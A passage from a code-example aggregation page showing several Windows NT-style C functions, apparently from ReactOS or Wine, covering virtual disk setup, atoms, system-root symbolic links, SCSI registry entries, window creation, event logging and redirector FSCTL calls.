        &file_basic,
        sizeof(FILE_BASIC_INFORMATION),
        FileBasicInformation
        );

    if (!NT_SUCCESS(status))
    {
        ExFreePool(device_extension->file_name.Buffer);
        ZwClose(device_extension->file_handle);
        return status;
    }

/*
    //
    // The NT cache manager can deadlock if a filesystem that is using the cache
    // manager is used in a virtual disk that stores its file on a filesystem
    // that is also using the cache manager, this is why we open the file with
    // FILE_NO_INTERMEDIATE_BUFFERING above, however if the file is compressed
    // or encrypted NT will not honor this request and cache it anyway since it
    // need to store the decompressed/unencrypted data somewhere, therefor we put
    // an extra check here and don't alow disk images to be compressed/encrypted.
    //
    if (file_basic.FileAttributes & (FILE_ATTRIBUTE_COMPRESSED | FILE_ATTRIBUTE_ENCRYPTED))
    {
        ExFreePool(device_extension->file_name.Buffer);
        ZwClose(device_extension->file_handle);
        Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
        Irp->IoStatus.Information = 0;
        return STATUS_ACCESS_DENIED;
    }
*/

    status = ZwQueryInformationFile(
        device_extension->file_handle,
        &Irp->IoStatus,
        &file_standard,
        sizeof(FILE_STANDARD_INFORMATION),
        FileStandardInformation
        );

    if (!NT_SUCCESS(status))
    {
        ExFreePool(device_extension->file_name.Buffer);
        ZwClose(device_extension->file_handle);
        return status;
    }

    device_extension->file_size.QuadPart = file_standard.EndOfFile.QuadPart;

    status = ZwQueryInformationFile(
        device_extension->file_handle,
        &Irp->IoStatus,
        &file_alignment,
        sizeof(FILE_ALIGNMENT_INFORMATION),
        FileAlignmentInformation
        );

    if (!NT_SUCCESS(status))
    {
        ExFreePool(device_extension->file_name.Buffer);
        ZwClose(device_extension->file_handle);
        return status;
    }

    DeviceObject->AlignmentRequirement = file_alignment.AlignmentRequirement;

    if (device_extension->read_only)
    {
        DeviceObject->Characteristics |= FILE_READ_ONLY_DEVICE;
    }
    else
    {
        DeviceObject->Characteristics &= ~FILE_READ_ONLY_DEVICE;
    }

    device_extension->media_in_device = TRUE;

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;

    return STATUS_SUCCESS;
}
Example #14
0
ATOM
WINAPI
InternalAddAtom(BOOLEAN Local,
                BOOLEAN Unicode,
                LPCSTR AtomName)
{
    NTSTATUS Status;
    ANSI_STRING AnsiString;
    UNICODE_STRING UnicodeString;
    PUNICODE_STRING AtomNameString;
    ATOM Atom = INVALID_ATOM;

    /* Check if it's an integer atom */
    if ((ULONG_PTR)AtomName <= 0xFFFF)
    {
        /* Convert the name to an atom */
        Atom = (ATOM)PtrToShort((PVOID)AtomName);
        if (Atom >= MAXINTATOM)
        {
            /* Fail, atom number too large */
            BaseSetLastNTError(STATUS_INVALID_PARAMETER);
            return INVALID_ATOM;
        }

        /* Return it */
        return Atom;
    }
    else
    {
        /* Check if this is a unicode atom */
        if (Unicode)
        {
            /* Use a unicode string */
            AtomNameString = &UnicodeString;
            RtlInitUnicodeString(AtomNameString, (LPWSTR)AtomName);
            Status = STATUS_SUCCESS;
        }
        else
        {
            /* Use an ansi string */
            RtlInitAnsiString(&AnsiString, AtomName );

            /* Check if we can abuse the TEB */
            if (AnsiString.MaximumLength > 260)
            {
                /* We can't, allocate a new string */
                AtomNameString = &UnicodeString;
                Status = RtlAnsiStringToUnicodeString(AtomNameString,
                                                      &AnsiString,
                                                      TRUE);
            }
            else
            {
                /* We can! Get the TEB String */
                AtomNameString = &NtCurrentTeb()->StaticUnicodeString;

                /* Convert it into the TEB */
                Status = RtlAnsiStringToUnicodeString(AtomNameString,
                                                      &AnsiString,
                                                      FALSE);
            }
        }

        /* Check for failure */
        if (!NT_SUCCESS(Status))
        {
            BaseSetLastNTError(Status);
            return Atom;
        }
    }

    /* Check if we're doing local add */
    if (Local)
    {
        /* Do a local add */
        Status = RtlAddAtomToAtomTable(InternalInitAtomTable(),
                                       AtomNameString->Buffer,
                                       &Atom);
    }
    else
    {
        /* Do a global add */
        Status = NtAddAtom(AtomNameString->Buffer,
                           AtomNameString->Length,
                           &Atom);
    }

    /* Check for failure */
    if (!NT_SUCCESS(Status)) BaseSetLastNTError(Status);

    /* Check if we were non-static ANSI */
    if (!(Unicode) && (AtomNameString == &UnicodeString))
    {
        /* Free the allocated buffer */
        RtlFreeUnicodeString(AtomNameString);
    }

    /* Return the atom */
    return Atom;
}
Example #15
0
NTSTATUS
NTAPI
INIT_FUNCTION
IopReassignSystemRoot(IN PLOADER_PARAMETER_BLOCK LoaderBlock,
                      OUT PANSI_STRING NtBootPath)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    NTSTATUS Status;
    CHAR Buffer[256], AnsiBuffer[256];
    WCHAR ArcNameBuffer[64];
    ANSI_STRING TargetString, ArcString, TempString;
    UNICODE_STRING LinkName, TargetName, ArcName;
    HANDLE LinkHandle;

    /* Create the Unicode name for the current ARC boot device */
    sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
    RtlInitAnsiString(&TargetString, Buffer);
    Status = RtlAnsiStringToUnicodeString(&TargetName, &TargetString, TRUE);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Initialize the attributes and open the link */
    InitializeObjectAttributes(&ObjectAttributes,
                               &TargetName,
                               OBJ_CASE_INSENSITIVE,
                               NULL,
                               NULL);
    Status = NtOpenSymbolicLinkObject(&LinkHandle,
                                      SYMBOLIC_LINK_ALL_ACCESS,
                                      &ObjectAttributes);
    if (!NT_SUCCESS(Status))
    {
        /* We failed, free the string */
        RtlFreeUnicodeString(&TargetName);
        return FALSE;
    }

    /* Query the current \\SystemRoot */
    ArcName.Buffer = ArcNameBuffer;
    ArcName.Length = 0;
    ArcName.MaximumLength = sizeof(ArcNameBuffer);
    Status = NtQuerySymbolicLinkObject(LinkHandle, &ArcName, NULL);
    if (!NT_SUCCESS(Status))
    {
        /* We failed, free the string */
        RtlFreeUnicodeString(&TargetName);
        return FALSE;
    }

    /* Convert it to Ansi */
    ArcString.Buffer = AnsiBuffer;
    ArcString.Length = 0;
    ArcString.MaximumLength = sizeof(AnsiBuffer);
    Status = RtlUnicodeStringToAnsiString(&ArcString, &ArcName, FALSE);
    AnsiBuffer[ArcString.Length] = ANSI_NULL;

    /* Close the link handle and free the name */
    ObCloseHandle(LinkHandle, KernelMode);
    RtlFreeUnicodeString(&TargetName);

    /* Setup the system root name again */
    RtlInitAnsiString(&TempString, "\\SystemRoot");
    Status = RtlAnsiStringToUnicodeString(&LinkName, &TempString, TRUE);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Open the symbolic link for it */
    InitializeObjectAttributes(&ObjectAttributes,
                               &LinkName,
                               OBJ_CASE_INSENSITIVE,
                               NULL,
                               NULL);
    Status = NtOpenSymbolicLinkObject(&LinkHandle,
                                      SYMBOLIC_LINK_ALL_ACCESS,
                                      &ObjectAttributes);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Destroy it */
    NtMakeTemporaryObject(LinkHandle);
    ObCloseHandle(LinkHandle, KernelMode);

    /* Now create the new name for it */
    sprintf(Buffer, "%s%s", ArcString.Buffer, LoaderBlock->NtBootPathName);

    /* Copy it into the passed parameter and null-terminate it */
    RtlCopyString(NtBootPath, &ArcString);
    Buffer[strlen(Buffer) - 1] = ANSI_NULL;

    /* Setup the Unicode-name for the new symbolic link value */
    RtlInitAnsiString(&TargetString, Buffer);
    InitializeObjectAttributes(&ObjectAttributes,
                               &LinkName,
                               OBJ_CASE_INSENSITIVE | OBJ_PERMANENT,
                               NULL,
                               NULL);
    Status = RtlAnsiStringToUnicodeString(&ArcName, &TargetString, TRUE);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Create it */
    Status = NtCreateSymbolicLinkObject(&LinkHandle,
                                        SYMBOLIC_LINK_ALL_ACCESS,
                                        &ObjectAttributes,
                                        &ArcName);

    /* Free all the strings and close the handle and return success */
    RtlFreeUnicodeString(&ArcName);
    RtlFreeUnicodeString(&LinkName);
    ObCloseHandle(LinkHandle, KernelMode);
    return TRUE;
}
Example #16
0
/******************************************************************
 *		create_scsi_entry
 *
 * Initializes registry to contain scsi info about the cdrom in NT.
 * All devices (even not real scsi ones) have this info in NT.
 * NOTE: programs usually read these registry entries after sending the
 *       IOCTL_SCSI_GET_ADDRESS ioctl to the cdrom
 */
static void create_scsi_entry( PSCSI_ADDRESS scsi_addr, LPCSTR lpDriver, UINT uDriveType,
    LPSTR lpDriveName, LPSTR lpUnixDeviceName )
{
    static UCHAR uCdromNumber = 0;
    static UCHAR uTapeNumber = 0;

    OBJECT_ATTRIBUTES attr;
    UNICODE_STRING nameW;
    WCHAR dataW[50];
    DWORD lenW;
    char buffer[40];
    DWORD value;
    const char *data;
    HANDLE scsiKey;
    HANDLE portKey;
    HANDLE busKey;
    HANDLE targetKey;
    HANDLE lunKey;
    DWORD disp;

    attr.Length = sizeof(attr);
    attr.RootDirectory = 0;
    attr.ObjectName = &nameW;
    attr.Attributes = 0;
    attr.SecurityDescriptor = NULL;
    attr.SecurityQualityOfService = NULL;

    /* Ensure there is Scsi key */
    if (!RtlCreateUnicodeStringFromAsciiz( &nameW, "Machine\\HARDWARE\\DEVICEMAP\\Scsi" ) ||
        NtCreateKey( &scsiKey, KEY_ALL_ACCESS, &attr, 0,
                     NULL, REG_OPTION_VOLATILE, &disp ))
    {
        ERR("Cannot create DEVICEMAP\\Scsi registry key\n" );
        return;
    }
    RtlFreeUnicodeString( &nameW );

    snprintf(buffer,sizeof(buffer),"Scsi Port %d",scsi_addr->PortNumber);
    attr.RootDirectory = scsiKey;
    if (!RtlCreateUnicodeStringFromAsciiz( &nameW, buffer ) ||
        NtCreateKey( &portKey, KEY_ALL_ACCESS, &attr, 0,
                     NULL, REG_OPTION_VOLATILE, &disp ))
    {
        ERR("Cannot create DEVICEMAP\\Scsi Port registry key\n" );
        return;
    }
    RtlFreeUnicodeString( &nameW );

    RtlCreateUnicodeStringFromAsciiz( &nameW, "Driver" );
    RtlMultiByteToUnicodeN( dataW, sizeof(dataW), &lenW, lpDriver, strlen(lpDriver));
    NtSetValueKey( portKey, &nameW, 0, REG_SZ, (BYTE*)dataW, lenW );
    RtlFreeUnicodeString( &nameW );
    value = 10;
    RtlCreateUnicodeStringFromAsciiz( &nameW, "FirstBusTimeScanInMs" );
    NtSetValueKey( portKey,&nameW, 0, REG_DWORD, (BYTE *)&value, sizeof(DWORD));
    RtlFreeUnicodeString( &nameW );

    value = 0;
    if (strcmp(lpDriver, "atapi") == 0)
    {
#ifdef HDIO_GET_DMA
        int fd, dma;
        
        fd = open(lpUnixDeviceName, O_RDONLY|O_NONBLOCK);
        if (fd != -1)
        {
            if (ioctl(fd, HDIO_GET_DMA, &dma) != -1) value = dma;
            close(fd);
        }
#endif
        RtlCreateUnicodeStringFromAsciiz( &nameW, "DMAEnabled" );
        NtSetValueKey( portKey,&nameW, 0, REG_DWORD, (BYTE *)&value, sizeof(DWORD));
        RtlFreeUnicodeString( &nameW );
    }

    snprintf(buffer, sizeof(buffer),"Scsi Bus %d", scsi_addr->PathId);
    attr.RootDirectory = portKey;
    if (!RtlCreateUnicodeStringFromAsciiz( &nameW, buffer ) ||
        NtCreateKey( &busKey, KEY_ALL_ACCESS, &attr, 0,
                     NULL, REG_OPTION_VOLATILE, &disp ))
    {
        ERR("Cannot create DEVICEMAP\\Scsi Port\\Scsi Bus registry key\n" );
        return;
    }
    RtlFreeUnicodeString( &nameW );

    attr.RootDirectory = busKey;
    /* FIXME: get real controller Id for SCSI */
    if (!RtlCreateUnicodeStringFromAsciiz( &nameW, "Initiator Id 255" ) ||
        NtCreateKey( &targetKey, KEY_ALL_ACCESS, &attr, 0,
                     NULL, REG_OPTION_VOLATILE, &disp ))
    {
        ERR("Cannot create DEVICEMAP\\Scsi Port\\Scsi Bus\\Initiator Id 255 registry key\n" );
        return;
    }
    RtlFreeUnicodeString( &nameW );
    NtClose( targetKey );

    snprintf(buffer, sizeof(buffer),"Target Id %d", scsi_addr->TargetId);
    attr.RootDirectory = busKey;
    if (!RtlCreateUnicodeStringFromAsciiz( &nameW, buffer ) ||
        NtCreateKey( &targetKey, KEY_ALL_ACCESS, &attr, 0,
                     NULL, REG_OPTION_VOLATILE, &disp ))
    {
        ERR("Cannot create DEVICEMAP\\Scsi Port\\Scsi Bus 0\\Target Id registry key\n" );
        return;
    }
    RtlFreeUnicodeString( &nameW );

    snprintf(buffer, sizeof(buffer),"Logical Unit Id %d", scsi_addr->Lun);
    attr.RootDirectory = targetKey;
    if (!RtlCreateUnicodeStringFromAsciiz( &nameW, buffer ) ||
        NtCreateKey( &lunKey, KEY_ALL_ACCESS, &attr, 0,
                     NULL, REG_OPTION_VOLATILE, &disp ))
    {
        ERR("Cannot create DEVICEMAP\\Scsi Port\\Scsi Bus 0\\Target Id registry key\\Logical Unit Id\n" );
        return;
    }
    RtlFreeUnicodeString( &nameW );

    switch (uDriveType)
    {
        case DRIVE_NO_ROOT_DIR:
        default:
            data = "OtherPeripheral"; break;
        case DRIVE_FIXED:
            data = "DiskPeripheral"; break;
        case DRIVE_REMOVABLE:
            data = "TapePeripheral";
            snprintf(buffer, sizeof(buffer), "Tape%d", uTapeNumber++);
            break;
        case DRIVE_CDROM:
            data = "CdRomPeripheral";
            snprintf(buffer, sizeof(buffer), "Cdrom%d", uCdromNumber++);
            break;
    }
    RtlCreateUnicodeStringFromAsciiz( &nameW, "Type" );
    RtlMultiByteToUnicodeN( dataW, sizeof(dataW), &lenW, data, strlen(data));
    NtSetValueKey( lunKey, &nameW, 0, REG_SZ, (BYTE*)dataW, lenW );
    RtlFreeUnicodeString( &nameW );

    RtlCreateUnicodeStringFromAsciiz( &nameW, "Identifier" );
    RtlMultiByteToUnicodeN( dataW, sizeof(dataW), &lenW, lpDriveName, strlen(lpDriveName));
    NtSetValueKey( lunKey, &nameW, 0, REG_SZ, (BYTE*)dataW, lenW );
    RtlFreeUnicodeString( &nameW );

    if (uDriveType == DRIVE_CDROM || uDriveType == DRIVE_REMOVABLE)
    {
        RtlCreateUnicodeStringFromAsciiz( &nameW, "DeviceName" );
        RtlMultiByteToUnicodeN( dataW, sizeof(dataW), &lenW, buffer, strlen(buffer));
        NtSetValueKey( lunKey, &nameW, 0, REG_SZ, (BYTE*)dataW, lenW );
        RtlFreeUnicodeString( &nameW );
    }

    RtlCreateUnicodeStringFromAsciiz( &nameW, "UnixDeviceName" );
    RtlMultiByteToUnicodeN( dataW, sizeof(dataW), &lenW, lpUnixDeviceName, strlen(lpUnixDeviceName));
    NtSetValueKey( lunKey, &nameW, 0, REG_SZ, (BYTE*)dataW, lenW );
    RtlFreeUnicodeString( &nameW );

    NtClose( lunKey );
    NtClose( targetKey );
    NtClose( busKey );
    NtClose( portKey );
    NtClose( scsiKey );
}
Example #17
0
HWND WINAPI
User32CreateWindowEx(DWORD dwExStyle,
                     LPCSTR lpClassName,
                     LPCSTR lpWindowName,
                     DWORD dwStyle,
                     int x,
                     int y,
                     int nWidth,
                     int nHeight,
                     HWND hWndParent,
                     HMENU hMenu,
                     HINSTANCE hInstance,
                     LPVOID lpParam,
                     DWORD dwFlags)
{
    LARGE_STRING WindowName;
    LARGE_STRING lstrClassName, *plstrClassName;
    UNICODE_STRING ClassName;
    WNDCLASSEXA wceA;
    WNDCLASSEXW wceW;
    HMODULE hLibModule = NULL;
    DWORD save_error;
    BOOL Unicode, ClassFound = FALSE;
    HWND Handle = NULL;

#if 0
    DbgPrint("[window] User32CreateWindowEx style %d, exstyle %d, parent %d\n", dwStyle, dwExStyle, hWndParent);
#endif

    if (!RegisterDefaultClasses)
    {
       TRACE("RegisterSystemControls\n");
       RegisterSystemControls();
    }

    Unicode = !(dwFlags & NUCWE_ANSI);

    if (IS_ATOM(lpClassName))
    {
        plstrClassName = (PVOID)lpClassName;
    }
    else
    {
        if(Unicode)
            RtlInitUnicodeString(&ClassName, (PCWSTR)lpClassName);
        else
        {
            if (!RtlCreateUnicodeStringFromAsciiz(&ClassName, (PCSZ)lpClassName))
            {
                SetLastError(ERROR_OUTOFMEMORY);
                return (HWND)0;
            }
        }

        /* Copy it to a LARGE_STRING */
        lstrClassName.Buffer = ClassName.Buffer;
        lstrClassName.Length = ClassName.Length;
        lstrClassName.MaximumLength = ClassName.MaximumLength;
        plstrClassName = &lstrClassName;
    }

    /* Initialize a LARGE_STRING */
    RtlInitLargeString(&WindowName, lpWindowName, Unicode);

    // HACK: The current implementation expects the Window name to be UNICODE
    if (!Unicode)
    {
        NTSTATUS Status;
        PSTR AnsiBuffer = WindowName.Buffer;
        ULONG AnsiLength = WindowName.Length;

        WindowName.Length = 0;
        WindowName.MaximumLength = AnsiLength * sizeof(WCHAR);
        WindowName.Buffer = RtlAllocateHeap(RtlGetProcessHeap(),
                                            0,
                                            WindowName.MaximumLength);
        if (!WindowName.Buffer)
        {
            SetLastError(ERROR_OUTOFMEMORY);
            goto cleanup;
        }

        Status = RtlMultiByteToUnicodeN(WindowName.Buffer,
                                        WindowName.MaximumLength,
                                        &WindowName.Length,
                                        AnsiBuffer,
                                        AnsiLength);
        if (!NT_SUCCESS(Status))
        {
            goto cleanup;
        }
    }

    if(!hMenu && (dwStyle & (WS_OVERLAPPEDWINDOW | WS_POPUP)))
    {
        if(Unicode)
        {
            wceW.cbSize = sizeof(WNDCLASSEXW);
            if(GetClassInfoExW(hInstance, (LPCWSTR)lpClassName, &wceW) && wceW.lpszMenuName)
            {
                hMenu = LoadMenuW(hInstance, wceW.lpszMenuName);
            }
        }
        else
        {
            wceA.cbSize = sizeof(WNDCLASSEXA);
            if(GetClassInfoExA(hInstance, lpClassName, &wceA) && wceA.lpszMenuName)
            {
                hMenu = LoadMenuA(hInstance, wceA.lpszMenuName);
            }
        }
    }

    if (!Unicode) dwExStyle |= WS_EX_SETANSICREATOR;

    for(;;)
    {
       Handle = NtUserCreateWindowEx(dwExStyle,
                                     plstrClassName,
                                     NULL,
                                     &WindowName,
                                     dwStyle,
                                     x,
                                     y,
                                     nWidth,
                                     nHeight,
                                     hWndParent,
                                     hMenu,
                                     hInstance,
                                     lpParam,
                                     dwFlags,
                                     NULL);
       if (Handle) break;
       if (!ClassFound)
       {
          save_error = GetLastError();
          if ( save_error == ERROR_CANNOT_FIND_WND_CLASS )
          {
              ClassFound = VersionRegisterClass(ClassName.Buffer, NULL, NULL, &hLibModule);
              if (ClassFound) continue;
          }
       }
       if (hLibModule)
       {
          save_error = GetLastError();
          FreeLibrary(hLibModule);
          SetLastError(save_error);
          hLibModule = 0;
       }
       break;
    }

#if 0
    DbgPrint("[window] NtUserCreateWindowEx() == %d\n", Handle);
#endif
cleanup:
    if(!Unicode)
    {
        if (!IS_ATOM(lpClassName))
        {
            RtlFreeUnicodeString(&ClassName);
        }

        RtlFreeLargeString(&WindowName);
    }

    return Handle;
}
Example #18
0
/* Function 18 */
NTSTATUS
ElfrReportEventA(
    IELF_HANDLE LogHandle,
    ULONG Time,
    USHORT EventType,
    USHORT EventCategory,
    ULONG EventID,
    USHORT NumStrings,
    ULONG DataSize,
    PRPC_STRING ComputerName,
    PRPC_SID UserSID,
    PRPC_STRING Strings[],
    PBYTE Data,
    USHORT Flags,
    PULONG RecordNumber,
    PULONG TimeWritten)
{
    NTSTATUS Status = STATUS_SUCCESS;
    UNICODE_STRING ComputerNameW;
    PUNICODE_STRING *StringsArrayW = NULL;
    USHORT i;

    DPRINT("ElfrReportEventA(%hu)\n", NumStrings);

#if 0
    for (i = 0; i < NumStrings; i++)
    {
        if (Strings[i] == NULL)
        {
            DPRINT1("String %hu is null\n", i);
        }
        else
        {
            DPRINT1("String %hu: %Z\n", i, Strings[i]);
        }
    }
#endif

    Status = RtlAnsiStringToUnicodeString((PUNICODE_STRING)&ComputerNameW,
                                          (PANSI_STRING)ComputerName,
                                          TRUE);
    if (!NT_SUCCESS(Status))
        return Status;

    if (NumStrings != 0)
    {
        StringsArrayW = HeapAlloc(GetProcessHeap(),
                                  HEAP_ZERO_MEMORY,
                                  NumStrings * sizeof(PUNICODE_STRING));
        if (StringsArrayW == NULL)
        {
            Status = STATUS_NO_MEMORY;
            goto Done;
        }

        for (i = 0; i < NumStrings; i++)
        {
            if (Strings[i] != NULL)
            {
                StringsArrayW[i] = HeapAlloc(GetProcessHeap(),
                                             HEAP_ZERO_MEMORY,
                                             sizeof(UNICODE_STRING));
                if (StringsArrayW[i] == NULL)
                {
                    Status = STATUS_NO_MEMORY;
                    break;
                }

                Status = RtlAnsiStringToUnicodeString(StringsArrayW[i],
                                                      (PANSI_STRING)Strings[i],
                                                      TRUE);
            }

            if (!NT_SUCCESS(Status))
                break;
        }
    }

    if (NT_SUCCESS(Status))
    {
        Status = ElfrReportEventW(LogHandle,
                                  Time,
                                  EventType,
                                  EventCategory,
                                  EventID,
                                  NumStrings,
                                  DataSize,
                                  (PRPC_UNICODE_STRING)&ComputerNameW,
                                  UserSID,
                                  (PRPC_UNICODE_STRING*)StringsArrayW,
                                  Data,
                                  Flags,
                                  RecordNumber,
                                  TimeWritten);
    }

Done:
    if (StringsArrayW != NULL)
    {
        for (i = 0; i < NumStrings; i++)
        {
            if ((StringsArrayW[i] != NULL) && (StringsArrayW[i]->Buffer))
            {
                RtlFreeUnicodeString(StringsArrayW[i]);
                HeapFree(GetProcessHeap(), 0, StringsArrayW[i]);
            }
        }

        HeapFree(GetProcessHeap(), 0, StringsArrayW);
    }

    RtlFreeUnicodeString(&ComputerNameW);

    return Status;
}
Example #19
0
NET_API_STATUS
NetpRdrFsControlTree(
    IN LPTSTR TreeName,
    IN LPTSTR TransportName OPTIONAL,
    IN DWORD ConnectionType,
    IN DWORD FsControlCode,
    IN LPVOID SecurityDescriptor OPTIONAL,
    IN LPVOID InputBuffer OPTIONAL,
    IN DWORD InputBufferSize,
    OUT LPVOID OutputBuffer OPTIONAL,
    IN DWORD OutputBufferSize,
    IN BOOL NoPermissionRequired
    )

/*++

Routine Description:

    NetpRdrFsControlTree performs a given FSCTL (file system control)
    on a given tree connection name.

Arguments:

    TreeName - Remote name to do fsctl to (in \\server\share format).

    FsControlCode - function code to pass to the redirector.  These are
        defined in <ntddnfs.h>.

    SecurityDescriptor - optionally points to a security descriptor to be
        used when creating the tree connection.

    InputBuffer - optionally points to a structure to be passed to the
        redirector.

    InputBufferSize - size of InputBuffer in bytes; must be zero if
        InputBuffer is a NULL pointer.

    OutputBuffer - optionally points to a structure to be filled in by the
        redirector.

    OutputBufferSize - size of OutputBuffer in bytes; must be zero if
        OutputBuffer is a NULL pointer.

    NoPermissionRequired - TRUE if this is a no permission required API.  (I.e.
        TRUE if the null session may be used.)

Return Value:

    NET_API_STATUS

--*/

{
    NET_API_STATUS ApiStatus;
    IO_STATUS_BLOCK iosb;
    NTSTATUS ntstatus;                      // Status from NT operations.
    OBJECT_ATTRIBUTES objattrTreeConn;      // Attrs for tree conn.
    LPTSTR pszTreeConn;                      // See strTreeConn below.
#ifndef UNICODE
    STRING strTreeConn;                     // \Device\LanManRedir\server\share
#endif
    UNICODE_STRING ucTreeConn;
    HANDLE TreeConnHandle;

    PFILE_FULL_EA_INFORMATION EaBuffer = NULL;
    PFILE_FULL_EA_INFORMATION Ea;
    USHORT TransportNameSize = 0;
    ULONG EaBufferSize = 0;
    PWSTR UnicodeTransportName = NULL;

    UCHAR EaNameDomainNameSize = (UCHAR) (ROUND_UP_COUNT(
                                             strlen(EA_NAME_DOMAIN) + sizeof(CHAR),
                                             ALIGN_WCHAR
                                             ) - sizeof(CHAR));

    UCHAR EaNamePasswordSize = (UCHAR) (ROUND_UP_COUNT(
                                             strlen(EA_NAME_PASSWORD) + sizeof(CHAR),
                                             ALIGN_WCHAR
                                             ) - sizeof(CHAR));

    UCHAR EaNameTransportNameSize = (UCHAR) (ROUND_UP_COUNT(
                                             strlen(EA_NAME_TRANSPORT) + sizeof(CHAR),
                                             ALIGN_WCHAR
                                             ) - sizeof(CHAR));

    UCHAR EaNameTypeSize = (UCHAR) (ROUND_UP_COUNT(
                                        strlen(EA_NAME_TYPE) + sizeof(CHAR),
                                        ALIGN_DWORD
                                        ) - sizeof(CHAR));

    UCHAR EaNameUserNameSize = (UCHAR) (ROUND_UP_COUNT(
                                             strlen(EA_NAME_USERNAME) + sizeof(CHAR),
                                             ALIGN_WCHAR
                                             ) - sizeof(CHAR));

    USHORT TypeSize = sizeof(ULONG);




    IF_DEBUG(RDRFSCTL) {
        NetpKdPrint(( PREFIX_NETLIB
                "NetpRdrFsControlTree: entered, TreeName='"
                FORMAT_LPTSTR "', " FORMAT_LPTSTR " session.\n",
                TreeName,
                NoPermissionRequired ? TEXT("null") : TEXT("non-null") ));
    }

    if ((TreeName == NULL) || (TreeName[0] == 0)) {
        return (ERROR_INVALID_PARAMETER);
    }

    if (! NetpIsRemoteNameValid(TreeName)) {
        return (ERROR_INVALID_PARAMETER);
    }

    //
    // Build NT-style name for what we're connecting to.  Note that there is
    // NOT a pair of backslashes anywhere in this name.
    //

    {
        DWORD NameSize =

            // /Device/LanManRedirector      /    server/share     \0
#ifdef UNICODE
            ( ( STRLEN((LPTSTR)DD_NFS_DEVICE_NAME_U) + 1 + STRLEN(TreeName) + 1 ) )
#else
            ( ( STRLEN((LPTSTR)DD_NFS_DEVICE_NAME) + 1 + STRLEN(TreeName) + 1 ) )
#endif
            * sizeof(TCHAR);

        pszTreeConn = (LPTSTR)NetpMemoryAllocate( NameSize );
    }

    if (pszTreeConn == NULL) {
        return (ERROR_NOT_ENOUGH_MEMORY);
    }

    //
    // Build the tree connect name.
    //

#ifdef UNICODE
    (void) STRCPY(pszTreeConn, (LPTSTR) DD_NFS_DEVICE_NAME_U);
#else
    (void) STRCPY(pszTreeConn, (LPTSTR) DD_NFS_DEVICE_NAME);
#endif

    //
    // NOTE: We add 1, (not sizeof(TCHAR)) because pointer arithmetic is done
    // in terms of multiples of sizeof(*pointer), not bytes
    //

    (void) STRCAT(pszTreeConn, TreeName+1); // \server\share

#ifdef UNICODE
    RtlInitUnicodeString(&ucTreeConn, pszTreeConn);
#else
    RtlInitString( & strTreeConn, pszTreeConn);
    (void) RtlOemStringToUnicodeString(&ucTreeConn, &strTreeConn, TRUE);
#endif

    IF_DEBUG(RDRFSCTL) {
        NetpKdPrint(( PREFIX_NETLIB
                "NetpRdrFsControlTree: UNICODE name is " FORMAT_LPWSTR
                ".\n", ucTreeConn.Buffer ));
    }



    //
    // Calculate the number of bytes needed for the EA buffer.
    // This may have the transport name.  For regular sessions, the user
    // name, password, and domain name are implicit.  For null sessions, we
    // must give 0-len user name, 0-len password, and 0-len domain name.
    //

    if (ARGUMENT_PRESENT(TransportName)) {
        ASSERT(ConnectionType == USE_IPC);

#ifdef UNICODE
        UnicodeTransportName = TransportName;
#else
        UnicodeTransportName = NetpAllocWStrFromStr(TransportName);

        if (UnicodeTransportName == NULL) {

            NetpMemoryFree(pszTreeConn);

            return ERROR_NOT_ENOUGH_MEMORY;
        }
#endif
        TransportNameSize = (USHORT) (wcslen(UnicodeTransportName) * sizeof(WCHAR));

        EaBufferSize += ROUND_UP_COUNT(
                            FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) +
                            EaNameTransportNameSize + sizeof(CHAR) +
                            TransportNameSize,
                            ALIGN_DWORD
                            );
    }

    if (NoPermissionRequired) {

        // Domain name (0-len).
        EaBufferSize += ROUND_UP_COUNT(
                            FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) +
                            EaNameDomainNameSize + sizeof(CHAR),
                            ALIGN_DWORD
                            );

        // Password (0-len).
        EaBufferSize += ROUND_UP_COUNT(
                            FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) +
                            EaNamePasswordSize + sizeof(CHAR),
                            ALIGN_DWORD
                            );

        // User name (0-len).
        EaBufferSize += ROUND_UP_COUNT(
                            FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) +
                            EaNameUserNameSize + sizeof(CHAR),
                            ALIGN_DWORD
                            );
    }

    EaBufferSize += ((ULONG)FIELD_OFFSET( FILE_FULL_EA_INFORMATION, EaName[0]))+
                    EaNameTypeSize + sizeof(CHAR) +
                    TypeSize;


    //
    // Allocate the EA buffer
    //

    if ((EaBuffer = NetpMemoryAllocate( EaBufferSize )) == NULL) {

        NetpMemoryFree(pszTreeConn);

#ifndef UNICODE
        if (UnicodeTransportName != NULL) {
            NetpMemoryFree(UnicodeTransportName);
        }
#endif

        return ERROR_NOT_ENOUGH_MEMORY;
    }

    //
    // Fill-in the EA buffer.
    //

    RtlZeroMemory(EaBuffer, EaBufferSize);

    Ea = EaBuffer;

    if (ARGUMENT_PRESENT(TransportName)) {

        //
        // Copy the EA name into EA buffer.  EA name length does not
        // include the zero terminator.
        //
        strcpy(Ea->EaName, EA_NAME_TRANSPORT);
        Ea->EaNameLength = EaNameTransportNameSize;

        //
        // Copy the EA value into EA buffer.  EA value length does not
        // include the zero terminator.
        //
        (VOID) wcscpy(
            (LPWSTR) &(Ea->EaName[EaNameTransportNameSize + sizeof(CHAR)]),
            UnicodeTransportName
            );

        Ea->EaValueLength = TransportNameSize;

        Ea->NextEntryOffset = ROUND_UP_COUNT(
                                  FIELD_OFFSET( FILE_FULL_EA_INFORMATION, EaName[0]) +
                                  EaNameTransportNameSize + sizeof(CHAR) +
                                  TransportNameSize,
                                  ALIGN_DWORD
                                  );
        Ea->Flags = 0;

        (ULONG) Ea += Ea->NextEntryOffset;
    }

    if (NoPermissionRequired) {

        //
        // *** DOMAIN NAME ***
        // Copy the EA name into EA buffer.  EA name length does not
        // include the zero terminator.
        //
        (VOID) strcpy(Ea->EaName, EA_NAME_DOMAIN);
        Ea->EaNameLength = EaNameDomainNameSize;

        Ea->EaValueLength = 0;  // There is no EA value for this.

